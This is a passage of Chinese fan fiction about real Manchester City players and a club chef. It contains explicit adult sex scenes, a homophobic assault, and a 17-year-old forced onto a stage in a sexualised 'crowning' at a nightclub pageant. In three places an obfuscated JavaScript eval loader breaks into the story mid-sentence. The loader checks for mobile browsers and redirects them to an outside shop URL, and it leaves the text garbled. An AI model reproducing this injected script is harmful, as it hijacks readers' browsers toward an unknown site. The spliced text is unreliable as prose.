他说:“我是上帝送给txl的礼物,帅到被揍的地步。” 格拉利什听了,眉头一皱,头上冒出大大的问号,“What?” “想知道?” 克里奇利伸出一条胳膊搭在双人床的另一侧,明显对他开放了怀抱,刚才已经说了自己是txl,如果他对这个动作不介意,并且对自己有点好感的话,大概率会爬上自己的床。 意料之中的,格拉利什就像小狗被允许上床一样带着些许兴奋爬上了他的床,俯卧在他身边,用那双看似机灵的眼睛瞄着他。 克里奇利抬起手好似表扬似的抚摸了他蜜糖一样的长发,侧过头来看着他,然后告诉他这件事的来龙去脉。 格拉利什听了一会皱眉,一会惊讶,一会愤慨,一会又偷笑,等他讲完了,盯着他的嘴好像在思考,克里奇利问他,“你听明白了吗?” 格拉利什点点头,接着呆头呆脑的凑过去亲吻了他的嘴。 一个湿答答的小狗亲亲就这么自然而然的落在了受伤男人的唇上,让他获得了巨大的支持和安慰。 他没有添油加醋的说自己多么惨多么委屈,相反,他还十分自豪的加重了他是怎么骂那个歧视他的人事总监的,还有他是怎么明明什么都没有却吓的那个肖恩勒温双腿发抖,一边道歉一边求他私了并支付了一大笔赔偿金的。 克里奇利右手搂着他,接受他试探又贪婪的亲吻,真的像一只小狗在亲亲人类,得到允许后越来越大胆的亲人类,还试图把舌头伸进人类的嘴巴里,获取更加赞许的回应。 很快,克里奇利就用强势的态度和主导的吻技回吻着他,右手虎口卡住他的后颈,不让他有丝毫的退路,吻到呼吸急促时,他又把手指伸进他蓬松的发丝里,扣着他后脑释放着无尽的深情和专注,让这个吻变得充满了征服的力量。 得到了甜头的小狗只会更加胆大妄为,他爬上来,以一种俯卧撑的姿势支撑在他身上,上身保持一定的距离,胯骨却严丝合缝的顶在一起。 “你不害怕我吗?”克里奇利双手支撑着他的胸口,以防他撑久了会累。 “你长的很圆润。” “圆润?”克里奇利眉头一皱,心想这是什么形容词,我圆润吗?我脸上都没什么肉。 “就是没什么攻击性,像一只受伤的骆驼。” “哎哟!”克里奇利被他的形容和比喻给整破防了,他说,“杰克,我很危险,会吃人的,但是你可以放心,我 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第二天,克里奇利睁开眼睛照例回想自己在哪,因为这个房间太陌生,让他一度以为又睡在别人的床上,听到浴室哗哗的流水声,才反应过来,这是曼彻斯特的小公寓,洗澡的那位应该是昨晚的甜心先生。 他一起身胸肋还是痛,但比昨晚要轻一些了,他敲了敲浴室门,没得到允许就进去了。 格拉利什看他光着走进来,也没说什么,就给他让了个身位。 雾气,芳香,狭小的空间,滚烫的身体来回触碰,让小小的浴室很快就被热浪包围。 克里奇利站进水流里,自然的把手搭在他的肩膀上,沿着泡沫的走向顺滑到他的腰间,他的皮肤紧致有弹性,非常好捏,让人爱不释手。 格拉利什被他捏的很痒,笑嘻嘻的转过身来,想要往他头上打泡沫,接着被克里奇利搂过脖子对着嘴亲了下去,亲着亲着,小狗的笑容逐渐消失,因为他感觉到了赤裸裸的威胁。 “昨晚欠你的。”克里奇利说完就把他摁在了玻璃门上,小狗的脖子不由自主的后仰,躺在了身后高大宽厚的男人身上。 管他肋骨折没折,现在克里奇利全身的血液只往一个地方涌,因为这个ass实在是太nice了,简直是格拉利什的诱惑。 两人戏水完毕后,格拉利什还要载他一起去上班。克里奇利很高兴,但为了保护格拉利什拒绝了他,格拉利什说,“放心吧,我又不缠着你,咱俩是老乡,我会罩着你的。” 克里奇利笑他真是一款贴心的小甜狗,抱住他的板栗头亲了一口,又拍拍他的小翘臀,让他先走,不然门口的车就要被拖走了。 克里奇利在曼城开启了新的事业,他早上倒班,午餐尽心尽力设计菜谱,研究每个球员的饮食偏好,亲力亲为做好每一道菜,晚上有比赛就跟车,敬业程度空前高涨,很快为他赢得了曼城最佳厨师的口碑。 只要他随队的比赛都赢了,很快就转正并加薪。这天曼城主场对阵布伦特福德,克里奇利早早完成配餐,走进球场准备看一场主场比赛。 这场比赛,德布劳内一传一射,制霸前场,让克里奇利直呼这人伤好了这么强的吗,然而这个神一样的男人还没和他说过一句话,甚至连正眼都没瞧上一眼。 克里奇利不是漏网之鱼,他早就知道,这个金发男人是那个谁谁谁的前男友。 22.第 22 章 这天,客场打水晶宫,天气跟遇见了鬼一样,狂风肆虐,雨雪交加,利物浦和埃弗顿的比赛因为糟糕的天气延迟比赛了,为什么我们还要经受风吹雨打呢。 本来就受到冷雨侵袭,客场还不给安排球员通道,球员们冻手冻脚的还要给小球童遮风挡雨,有的还把外套脱下来给小球童披上,而主队却从容淡定的从临时通道里走出来,看得出来这又是一场逆风局。 克里奇利照常在餐车备好餐,给设备管理员塞上能量棒和他亲自煮的姜茶,生怕球员们冻感冒了,伤病席快凑一支首发了,不仅医疗组压力大,整个后勤保障都压力大。 忙活完了,上半场已经开始20多分钟了,他就站在客队的临时窝棚底下看比赛,窝棚还漏雨,一会就把他的头发淋湿了,但他没有走,一直在看比赛。 果然是一场逆风局,他看的时候曼城就0-1落后了。 虽然他看不懂战术,但还是能看出来球员们今天的失误有点多。 后防状态很差,总是漏人,让水晶宫打反击打的那叫一个落花流水。如果不是鲁本迪亚斯的关键封堵,上半场就得让4个。 天气差,主场哨好啊。天气冷,主场球迷热情啊。德布劳内每次抱着球走向角旗杆,都要迎面闪开那些纷纷砸过来的废纸团。刘易斯两黄变一红被罚下,多库的单刀被吹断,各种倒霉事接踵而至。 真难啊,克里奇利都不忍心看了,好在曼城的运动战还是有点东西的。 德布劳内起脚传中找到哈兰德,哈兰德像大鲨鱼一样高高跃起,头球顶进了! 挪威海怪不怕严寒,这一粒进球鼓舞了士气。让克里奇利想到了那位挪威小海鲜,虽然看上去没有哈兰德那么吓人,也是一样的生猛坚韧,不知道曼城对阿森纳的时候,自己会是什么样的心情。 中场休息。 大家都从设备管理员的箱子里拿到一杯温热的姜茶,喝了之后又出了一身冷汗,但整个身体都暖烘烘的。 克里奇利看了看设备箱,还有几杯没有被拿走,他问了问设备管理员,设备管理员艾米说,“德布劳内不习惯中场喝饮料,他只喝凉的矿泉水。” “这么固执啊。” “嗯,他毛病很多,你不了解,我经常挨他的骂。”艾米忍不住吐槽这位刚才中场下来时,还在和沃克比划战术的冷酷男人。 “比如?” “比如手套准备了顺向,球鞋鞋带没穿。” 克里奇利笑笑,心想那你真的该挨骂,不过也给自己提了个醒,要是给了他不爱吃的酸番茄酱,他也会骂自己的吧,骂吧,他还没和自己说过话呢。 下半场沃克盯防出现失误,又让了一个,曼城1-2落后,哈兰德气的找沃克理论,沃克一摊手,说奥尔特加也有责任。 德布劳内把哈兰德拉开,无奈的摇摇头,但眼神里充满了杀气和不甘。 这个赛季曼城客场战绩不佳,克里奇利没来的时候已经连输了5场,被人诟病客场逆风局泥城被打回原形,再就是罗德里不上,后腰疲软,曼城已成强弩之末,人人都学会了怎么打曼城,一打一个准。 还剩十几分钟,克里奇利不能看了,他需要回到车上为球员们准备回程的晚餐。 等球员们打完比赛,在更衣室总结完,再洗个澡上大巴的时候,二十几份姜汁撞奶还有各种各样的咸甜小点心都准备好了。 可大家兴致不高,听说最后虽然扳平了比分,但错失了绝杀的机会,明明可以拿三分的,却只拿到了一分。 要强的队伍,要强的人啊。这么恶劣的天气,一支无人可换的队伍,在客场的冷遇和逆风局之下能打平就已经很好了,反正门外汉克里奇利是这么想的,他觉得不仅要暖他们的胃,还要暖他们的心,因此,在他们上大巴一个个路过餐吧的时候,克里奇利都把姜汁撞奶的小瓶子插上小勺,一个个地递到他们的手中。 回程的时候,有的人来餐吧取餐,有的人在车上睡觉,玩手机,反正跟赢球不同,一车人显得有些沉闷,甚至还有抱怨声不绝于耳。 回到曼城已经是晚上10点,大巴停在俱乐部门口,等球员们下车司机再倒进车位里。克里奇利看着一个个疲惫的身影走下车,他也要做最后的收尾工作。 他让厨师们都下班了,自己总是再把榨汁机刷一下,各种工具检查归位后最后一个下车。 这时他发现最后一排座位的角落里有一个人还在睡觉。 司机从后视镜看了一眼,一般都是催克里奇利下车,要么就倒车熄火后再催他下车,但现在车里还坐着一位大咖,司机也不知道该怎么做了。 “凯文。”司机扭过头来叫他,但是他们距离太远,德布劳内根本没听到,他这场又流失了很多体力,踢了80多分钟被换下来,一上车就睡觉了,什么东西都没吃也没喝。 克里奇利没有叫他,心想让他多睡一分钟是一分钟。 这时候司机开始倒车把他晃醒了,他睁开眼睛看了看四周,不情愿的站起来往前走,结果走到餐吧附近不知道是司机刹车还是他起猛了,一个踉跄没站稳,手扶了一下吧台,把吧台上还没收起来的杯子扫到地上摔了两半。 克里奇利没管杯子,从吧台后面绕过来,一把抱住了打晃的他。 他看着挺瘦,身量还挺宽,克里奇利双手架在他胳膊底下,托起他放到椅子上。 这时司机吓了一跳,赶紧停下车,从司机位上走过来。 “怎么了,凯文?”司机弯下腰问他。 他没说话摆了摆手。 “我去叫队医。”司机看了克里奇利一眼,意思是交给你一会。 克里奇利看着他面无血色的脸和白的吓人的手,就知道他是低血糖了。 克里奇利回到吧台里面,不慌不忙的把地上的碎玻璃捡起来扔进垃圾桶,又重新拿出刚刷好的榨汁机,很快就榨好了一杯橙汁递过去。 德布劳内接过来咕咚咕咚喝了半杯,才抬眼看了一眼克里奇利,终于开口对他说了一句话。 然而并不是谢谢,而是“不用管我。” 克里奇利压了压唇角,心想:就算你是金发碧眼的大美人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14475309|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不能这么霸道吧。 他直言:“你对我有偏见?” “没有。”德布劳内回他,“我只是…算了,不提也罢。” 克里奇利拧眉,他不仅固执,冷漠,不可一世还磨磨唧唧,这一点不太能忍。 “怎么?被我看到脆弱的一面就跟被看光了一样?你也太敏感了。” “我敏感?” “啊,这里还有第三个人吗?” “呵…”德布劳内轻笑,“说说看,我怎么敏感了?” “去他的,只是一场比赛而已。” “……!”德布劳内被他一句话戳中了心思,他这一场直接没发挥出来,即便是送了个助攻给哈兰德,也难以掩盖自己下半场传丢至少9个球的现实。而且,他体力下滑到自己难以想象的地步,就刚刚,还差点晕倒了。 “别这么自暴自弃,跟你的形象差太远了,丁丁。” 克里奇利没管他震惊的脸色,转过去再刷一遍榨汁机。 “对,你说得对,克里奇利先生,你做好你的工作,而我就要对我的工作负责,我不是小孩,甚至比你还大3岁,不要试图了解我,因为与你无关。”他独特的英语声调和着他较高的调门,是在凶人没错了。 “哦?”克里奇利把榨汁机放好,双手拄在吧台上,面容平静的看着他,说,“这么清楚比我大3岁啊?蛮了解我的。” 不知道他是因为喝了橙汁还是又被克里奇利说到面上挂不住,脸色很快就变得粉白粉白的。 这时,队医上车了,他走过来给凯文量血压,凯文说:“不用量了,我现在血压180!” 队医看着他气冲冲的走下车,跟在他后面一边小跑一边喊,“凯文,等等,你必须做个检查再下班。” 司机看了看克里奇利,克里奇利挑挑眉,说,“看我干嘛,他这暴脾气都是你们惯的。” 司机点了点他,又摇了摇头,说了一句,“下班吧,以后有你受的!” 我又没得罪他,他是大老虎啊,一个个怕的要命。克里奇利也有点生气,有种热脸贴上冷屁股的感觉。 不过,他心里还是有一种对金发男人的偏爱,特别是这个外强内也强的男人,总觉得他有很多很多值得细嚼慢咽的东西,越是不让他了解他越是想了解,因为他看得出来,德布劳内并不讨厌他,反而还给他一种欲拒还迎的错觉。 克里奇利去车库开车,发现车钥匙落大巴车上了,真是倒霉的一天。 更倒霉的是,他顶着风雨走了一公里也没打到车,就在他骂爹的时候,还被一辆疾驰的小轿车溅了一身泥水。 “Fuck!”他看球被淋湿,主队没赢球,关心德布劳内不买账反而被他凶,还要被冷风吹,雨雪打,这踏马是虐我的一天吧。 正当想着,他看到小巷子里有人影攒动,里面传出一些奇怪的声响,好像在打架。 跟他没关系,他也不想管,但他听见有人在骂:“faggot!suck my…”还有一些起哄笑骂的声音,他的身体就不自觉的向那边靠近。 23.第 23 章 平时克里奇利常走这条路,基本都是开车走阳光大道,今天下雨他溜着边借着门店的雨遮避雨,就撞见了这一幕。 几个小混混对着一个身形单薄的男孩拳打脚踢,一个嗓门挺大的青年抓住男孩的头发,叫他跪下,并且解开了自己的皮带。 旁边几个小混混一个掐住他的下巴,一个踩着他的小腿,揪着他的头发使劲的拍他的脸。 阴天下雨没有月光,黑暗的巷子就像不被上帝庇佑的人间炼狱,几只鬼正在做着泯灭良心的事。 克里奇利的脚步放缓,那些不堪入耳的羞辱声就传了过来。 “想要男人?来啊,我们给你。” “告诉我,死基佬,为什么喜欢男人?” “嘿!别反抗!” “还想挨揍吗?” 克里奇利也没多想什么,他站在巷子口,手摸向后腰,喊了一声,“警/察办案,你们在干什么?” 这帮小子闻声看过去,看到一个高大的身影矗立在微弱的路灯下,以为真的遇到警/察巡夜,吓的撒腿就跑,接二连三的从巷子后面的墙上翻过去了。 克里奇利走过去,捞起趴在冰冷水坑里的人,吓的那人双手抱住自己直往后躲。 克里奇利赶紧把手撒开,举着手,对他说:“别怕,我不会伤害你。” “你是警/察?”男孩眼底呈现惊恐的神色。 “呃,我不是,你需要报/警吗?” “Fuck no!” “你伤的不轻。”克里奇利重新向他伸出手。 男孩始终不肯把手递过去,他努力站起来,却摔倒数次,他的脚可能被打伤了。 “别管我。”他推开克里奇利,一瘸一拐的往外走,结果没走几步就重重的摔倒在地,人事不省了。 先不管他什么情况,总不能见死不救,这个男孩身上只穿了一件单薄的牛仔外套,看上去年龄不大,就跟17岁流落街头的他一样。 他二话没说就把男孩扛起来背在肩上,男孩就像一个断了线的木偶整个人软趴趴的伏在高大男人的背上。 背着他走了快一公里,眼看要到家了,克里奇利感觉胳膊都要脱臼了,腰也酸的不行,背上的人醒了却挣扎着说“你放下我”。 克里奇利喘了口气,又把他往上搓了搓,警告他别乱动了,否则把他扔垃圾桶里。 男孩不作声了,冰凉的脸贴在了克里奇利汗津津的后颈上。 到家以后,克里奇利把他撂在地毯上,自己也狼狈的跪在地上了。 这个男孩全身都湿透了,他抱着自己的膝盖瑟瑟发抖,一双清亮的眼睛死死盯着救他回来的男人。 克里奇利喘了口气,站起来脱了大衣,走到厨房给他倒了一杯温水递过去。 谁知男孩一把打翻了水杯,温水全都洒在了地毯上。 克里奇利有点生气,但看着眼前这个被打的鼻青脸肿一脸血污的男孩,像一头受到惊吓的小鹿用迷茫和凶狠的目光注视着自己,也只好忍了下来,他把水杯捡起来,又重新倒了一杯,放在他手边。 男孩看着他突然呜呜地哭起来。 他说:“我只是……只是去酒吧找我叔叔……他不要我了,我的护照也快过期了,你不会把我送到警/察局吧?” 克里奇利看着他没说话,眼神鼓励他继续说下去。 “我叫托马斯.多明戈斯,阿根廷人。” “听出来你的塑料英语了。” “嘿,我也有英国国籍的,只是还没办下来,办下来以后,我就是有双国籍的人。”他擦了擦眼泪,把脸擦的更脏了。 “好吧,双国籍人。” 克里奇利从衣橱里拿来干净的衣服还有医药箱,坐在他旁边,用酒精湿巾给他擦脸上的污渍,一开始他躲,接着发出嘶哈的声音,最后放弃抵抗任他擦拭。 “忍着点。”克里奇利想起之前他被自行车撞伤有个巧克力男孩也是对他这么说,现在他又给别人疗伤,真是因果循环。 擦干净脸以后,克里奇利惊讶地发现他长得不是一般的清秀,甚至可以用绝美来形容。 他黑发黑瞳,脸型瘦削,唇色血红,小小年纪就有深邃的眼眶和棱角分明的下颌线,看上去有几分硬朗和英气。 “看我干嘛?我脸花了吗?”他摸摸自己的脸和眉毛,露出很担忧的表情,“快给我拿个镜子。” 克里奇利笑,他也太自恋了吧,想当年自己也是这么俊,要想靠脸吃饭也能吃得开。 “我还得参加选美呢。” “啊?”克里奇利听他说选美,惊得下巴差点掉地上。 “真的,我叔叔资助我来英国参加世界先生选美大赛,要是我的脸花了,一切就都完了。” 克里奇利听了,说不清心里什么感触,他还真不是自恋,他是有这个资本。 “你的脸没事。”克里奇利没给他拿镜子,他也没有小镜子,“你去洗个澡换身衣服吧。” “你的意思是,我今晚可以留在这?” “你有地方去也行,我不强留。” “你真是个……”好人他没说出口,因为他还不知道克里奇利到底对他有没有企图。 洗完澡,他穿上了克里奇利的衬衫,一个大到可以遮住屁股的衬衫,然后一瘸一拐地去厨房接水喝,还狼吞虎咽地吃了两块刚切好的白面包。 吃饱喝足以后,他就小心翼翼地坐到沙发上去了,还不时拿眼睛瞟这个陌生男人。 “你叫什么名字?多大?做什么的?今天只是见义勇为吗?” “你要审讯我吗?小鬼。” “别叫我小鬼,我马上18岁了。” “你还不到18?那你参加个毛线选美啊。” “我说了,我叔叔带我来的,他说可以就可以。” “好吧,你那人间蒸发的叔叔呢?” “不许说他人间蒸发。” “是你自己说的,他不要你了,你知道他在哪吗?既然你这么需要他,我带你去找他。” “我不知道。”他低下头去又想哭了,“但我一定会去找他。” “唉。”克里奇利从橱子里拿出一床天鹅绒的被子,走到沙发那扔给他。 男孩抱着被子看着穿着跨栏背心大长腿的男人走过来走过去,感叹了一声真难得啊! “你又想说什么?” “我是说,你这么帅竟然是个正常人,对我没想法。” 什么鬼?这孩子有毒。克里奇利听了差点炸毛,现在的teenager都这么逆天了吗? 他走过去一把拎起男孩的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14483370|152647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣领,拉到自己脸前,劈头盖脸的骂了他一顿。 他说:“给我收起你那廉价的美色,我救你完全是因为你被羞辱,而我恰好和你是一类人。” 男孩被他骂的睫毛轻轻颤抖,听到他说一类人微微张口惊讶了一下,接着竟擅作主张的勾住他的脖子试图亲上一口。 克里奇利撒开手把他摔在柔软的沙发上,不搭理他了。 男孩躺在沙发上,和他说明了身世和来历。原来他口中的叔叔是一个富豪,带他来英国参加选美,但是现在下落不明,这孩子表达的也不清不楚,但克里奇利有种不好的预感,男孩大概是有钱人的玩物,出了名以后就会变成赚钱的工具,可怜的孩子还傻傻的做着一夜暴富的明星梦。 克里奇利做了一个噩梦,梦见被人追杀,早早醒了,看见男孩还在睡,也没打扰他,出门时环视了一下这个公寓,只带走了打火机,家里没什么偷的,只要别把房子点了就行。 他就这样如此信任的把17岁的托马斯扔在家里,独自去上班了。 到了后厨和小师妹打了招呼,小师妹趴在他脸前看说你昨晚干嘛了,顶着这么大俩黑眼圈。 他说,水土不服。 忙了一会,他竟然把酸番茄酱当正常的番茄酱用了,还切了一些小番茄进去,做出来的意面颜色鲜亮,漂亮极了,他也懒得尝就出菜了。 结果德布劳内拿到意面时皱了一下眉头,他一开始还按耐着脾气,把小番茄一个一个的挑出来,再卷起一口意面尝了一口,酸的他一个没忍住,端着盘子就去了吧台,正好Eleven在当值,她看见凯文板着个脸走过来,赶紧擦了擦手上前询问,“怎么了,凯文?” “这个意面谁做的?不知道我不吃酸番茄酱吗?” “噢抱歉,凯文,我给你换一份。” “叫你们主厨出来。”德布劳内怀疑是克里奇利针对他,就因为昨晚在大巴上怼了他,怎么,还得哄着他干活吗。 “呃…凯文…对不起,我忘了。”Eleven想替他师兄挡祸,克里奇利从后厨出来正看到这一幕,他以为德布劳内在骂Eleven,于是走上前去,说了一句“我做的,怎么了?” “克里奇利先生,拜托你工作专注一点,不要太敏感了。” 克里奇利看着他一双冷若冰霜的眸子,突然反应过来他放错了酱,被这位苛刻先生误会是报复,他尴尬的笑了笑,本想解释些什么,又觉得自己很没理,于是他态度非常诚恳语气非常柔和的说:“对不起,德布劳内先生,是我的失误,我现在就为您重新做一份,真的非常抱歉。” 面上一副谁也不在乎谁也不讨好精明又自以为是的克里奇利,竟然放低姿态给他道了歉,让德布劳内有种自己做错了的错觉,还是个得理不饶人的大恶人。 他在Eleven诧异的目光中默默走回了自己的位置,格拉利什凑过来笑嘻嘻的说:“凯文,别生气嘛,吃我的。” 克里奇利回去立刻做了一份罗勒松子意面,搭配了爽口泡菜解腻,还用草莓做了一个微笑圣诞老人放到了盘子里,亲自给他送到餐桌上。 他看到微笑圣诞老人也想笑但hold住了,抬眼看了看克里奇利,压下了唇角,给了他一个貌似原谅和肯定的表情,但在克里奇利看来,他依然凶巴巴的。 24.第 24 章 被凶了不是坏事,有时候被凶的人反而占了上风,因为凶人的人总觉得自己太过严厉而失了亲和。 主要是这个罗勒松子意面实在是太好吃,让德布劳内不得不怀疑这个主厨是天神下凡。他不仅中餐做的好,西餐也拿得出手,并且还有口味新奇的融合餐。 要是占为己有是不是有点自私? 他结束一天的训练后,看到餐厅在收工,帅气的主厨脚步匆忙,赶在3点整准时下班,德布劳内鬼使神差的在俱乐部门口把他给堵住了。 “加个班吧!克里奇利先生。” 他刚洗过澡金发被微风吹散,泛着光泽,面色微微发红,微笑着说着让打工人倒吸一口凉气的话。 “今天没有比赛,德布劳内先生。” “接私活吗?” “嗯?” “罗德里吃了你的定制餐,现在他已经可以康复训练了,我想问问你收费多少?” “你的意思是晚上我还得在打一份工是吗?” “你的作息几乎和我们同步,这么早就下班太浪费了吧。” “德布劳内先生,谢谢你欣赏我,我早上几乎全勤,忙一头午,下午下班再去打两份工,晚上我还要去蹦迪,是分不清pain和pleasure了吗?”说这话的时候,克里奇利始终保持微笑,但显然心情不是很好。 “不接受算了,不过你做的菜的确好吃,我原谅你早上放错酱的事,这件事翻篇了。” “谢谢你。”克里奇利搂过他的脸亲了他一口。 就是这么简单直接,一个有些逾越的贴面礼。通常贴面礼是不会真的亲上的,都是贴一下脸再发出一声诚挚的亲亲声,然而克里奇利这个贴面礼是实打实的亲了他一口。 亲完他就走了,像一个事后不负责任的自私的混蛋,让德布劳内独自在风中凌乱。 他摸摸自己的脸,还有口水在上面,真他爹是个浪荡君子,张口就来啊! 克里奇利今天下班这么早就急着回家是因为有心事。他昨晚捡的阿根廷野生动物还在家里不知道饿死了没,他会不会自己找吃的,他还在吗? 回去一看,好家伙,门都没关,那个叫托马斯的小孩果然不见了。 家里乱糟糟的,但也没有被翻过的痕迹,只是被子扔在地上,自己的衬衫也皱巴成一团扔在沙发上,厨房散落着一些面包空包装袋还有东一只西一只的拖鞋,这只小鹿在这么小的房间里乱撞了? 克里奇利抬腕看了看表,惊讶的发现手表不在手腕上,今天忙了一天都没发现这个问题,一定是昨晚落在浴室里了,他有点印象,结果他找了半天也没找到,好了4000多的手表不翼而飞,自己还是太大意了,怎么能这么轻易地相信一个陌生的小鬼头呢,还是外籍,找都不好找。 克里奇利失望的坐在床边,纠结要不要报警,后来一想也是自己的失误,算了,就当做慈善了。 这时他手机响,一看是伦敦小分队打开的视频电话。 来到曼彻斯特还没跟这两个家伙联系过,现在正好心情郁闷,他俩来电来的真不是时候。 在他俩聒噪的私生活探听下,克里奇利为了耳根子清净还是把最近的倒霉事跟讲笑话一样讲给他俩听了。 这俩人听了非但没安慰他,还落井下石,理查德说,“你这个伪君子,干嘛不先占点便宜,4000找个雏鸡也值了。” 保罗说:“笨蛋,花了买圣诞订制焦糖拿铁的钱连杯速溶咖啡都没喝到,这还是我们认识的那个六亲不认的伦敦一枝花吗?真给伦敦queers丢脸。” “你俩三观有问题,都退下吧,朕要睡觉了。” 也不是他要装清高,是觉得这俩人太不会安慰人了,越说越让他难受。 他睡了一小会,精神才好一些,罗德里打电话说今天不用送餐,他要去参加宴会,还问他去不去,他说一听宴会就手抖,罗德里笑他职业病,还叫他工作是工作生活是生活,不要太拼了,他说是啊,我也不知道怎么回事今天差点酿成大错,把德布劳内惹到了,不过幸亏他不是对番茄过敏,否则后果不堪设想。 罗德里安慰他说,德布劳内刀子嘴豆腐心,他凶人自己也会内疚,慢慢你就知道了。 克里奇利来曼城斯特以来还没出去玩过,不知道是不是年纪大了浪不动了还是一时接受不了新事物,不过他看了一眼时间后迅速否定了自己那些可怕的想法,立刻穿上他的黑色大V领紧身衣,套上皮夹克,开车前往那道听途说的神秘夜店“鸟鸣”。 “鸟鸣”是一个综合性夜店,包罗万象,玩的挺花,形形色色什么人都有,异性恋在跳舞亲吻,转而就和同性亲上了,不过,克里奇利看了一会就入乡随俗了。 倒不是伦敦没有,只是他和朋友们习惯了nice的氛围,规则简单,上手很快,一个眼神确定你喜欢我吗,我喜欢,那就走,不喜欢,好,那算了。不用浪费谈情说爱约会聊天的时间,一个月27,8个不带重样的,也难怪他记不住人名。 今天这个场美女帅哥挺多,让他一时分不清类别,不过凭借他这优质人类往那一站,很快就有上前试探他的。 先是一个美女过来摸了他脸一把,他笑笑无动于衷,接着一个帅哥就蹭了上来,问他内还是外? 他说内吧。 帅哥就扯着他的衣领往大厅深处走去。 里面有好几个内厅,其中一个标着gay专场的内厅门口正在发传单,看来夜生活才刚刚开始。 引路的小帅哥搂着他的腰,说,“走吧,今天正赶上选美大赛,说不定可以挑个像你这么好看的一起玩一定更过瘾。” “选美大赛?” 正当说着,他手里就多了一个传单。 他第一次来,很多事儿摸不清套路,这个小帅哥就跟导游似的一边拉着他进去,一边给他介绍。 “这是鸟鸣一个月一次的选美大赛,奖金丰厚,有大佬资助,听说今晚奖金池里好几十万,第一名的可以带走至少这个数。”他伸出了三个手指头。 克里奇利撇撇嘴角,其实他并不感兴趣,他只是想看看这个gay专属的内厅有什么好玩,外面太乱,还是有针对性选择比较好。 他和小帅哥进去以后就在一边喝酒调情,这时台上已经有模特热场了,他们看了一会觉得无聊,克里奇利问他你说的内是哪里?不如我们现在就去吧。 小帅哥笑着亲了他一口,说,就在这个内厅的楼下,有个暗室,但是只有vip可以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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台上的托马斯也看见了这一撇的骚乱,当他看见克里奇利的时候,有些惊讶,但很快就无视了他,继续按照主持人的口令进行着转体,跪下,扭动等一些带有暗示的动作,只是他的动作有些僵硬。 这个叫克莱尔的小帅哥拉着克里奇利往楼下走,一边走一边说:“要不是我朋友是那个调酒师,他们会把我们都赶出去的。”他看了看克里奇利,发现他还是有些不甘心,就把他拉进暗室的隔间里,亲吻他,没有得到回应,问他:“怎么了?你认识那个汤姆?” “……”克里奇利点点头又摇摇头。 “算了,别想了,台上的都是要爬上富豪的床的。” 说着克莱尔就又亲了亲他的脖子,顺着亲下去… 克里奇利虽然心里还惦记着要追问托马斯那件事,也不想辜负今晚这个主动招惹他的小帅哥,很快就把克莱尔按在隔板上泄了火,然后一语不发的靠在暗室的墙上抽烟。 过了一会,那个克莱尔突然从楼上跑了下来,气喘吁吁的找到克里奇利,对他说:“你到底认不认识那个汤姆,他正被人绑在行刑架上拍照留念一会要公开处刑表演,他好像很不乐意,喊着叔叔救他,你是不是他叔叔啊?” “淦!”克里奇利把烟一丢,脑子又一热,三步并作两步冲上楼去。 25.第 25 章 克里奇利也预测不到自己究竟要干嘛,他只是觉得这个孩子还没成年,虽然有些叛逆倒还不至于被推进地狱里任人采撷,但他能做什么,他也不知道,只是胸中有把火在烧。 他刚上去就看到托马斯被反扭着双手送到台前的一个架上,正要把手腕脚腕绑在上面,而托马斯在拼命挣扎,台下像看表演一样等待着今晚的冠军被完成“加冕”仪式。 “叔叔,我只是想找叔叔,我不要拍照也不要什么加冕,奖金我也不要了!把手表退给我,我不参加了!”托马斯求饶着,挣扎的双手把架上的链条弄的哗哗作响。 可他们根本不听,奖金池里的金额一直在上涨。 旁边还有人笑说着还矜持上了,参加这种选美不都是一个目的,找个温床让人养起来吗。 “等等,他说他要找叔叔,你们听不见吗?”克里奇利再次靠近高台,台上的人看了他一眼,不声不响的把托马斯绑在了架子上,勒紧了手腕脚腕上皮带。 托马斯听见克里奇利的声音,扭过头来用乞求的目光看着他,喊着:“叔叔救我!我错了!我真的错了!” “放开他,他不是自愿的。” 克里奇利想要上台去解救他,还是被安保强行拽住并扭送他离开高台。 台上的主持人扬起了手中的指挥棒,说,“你要找的叔叔那上面都是,只要你表现好,一会哭的大声一点,一定会有丰厚的奖励。” “对,就这样,演的再像一点。” 现在克里奇利也不知道他到底是真不情愿还是演的,他的眼神那么楚楚可怜,却又充满了欺骗性。 赌一把,万一赢了呢。 “他是未成年,你们知道你们这样做能判多少年吗?” 克里奇利挣脱开两个彪形大汉的掌控,趴在高台边给这些无情的组织者投射了一颗重磅炸弹。 “what?” 台上台下一片哗然。 “嘿,小家伙,你的身份证?” “假的,他还是个外籍,护照都过期了!”克里奇利又语出惊人。 “Oh,fuck!”主持人抬头看向高台,那边有几个神秘人开始退场。 “解开。”主持人命令帮手,帮手们懒懒不动,似乎还没玩够。“我说,解开!” 托马斯被松绑了,他从高台上一跃而下,被克里奇利一把接住,他不仅脚伤没好还双腿发软,吓的语无伦次,说起了西语,他说:“带我走。” 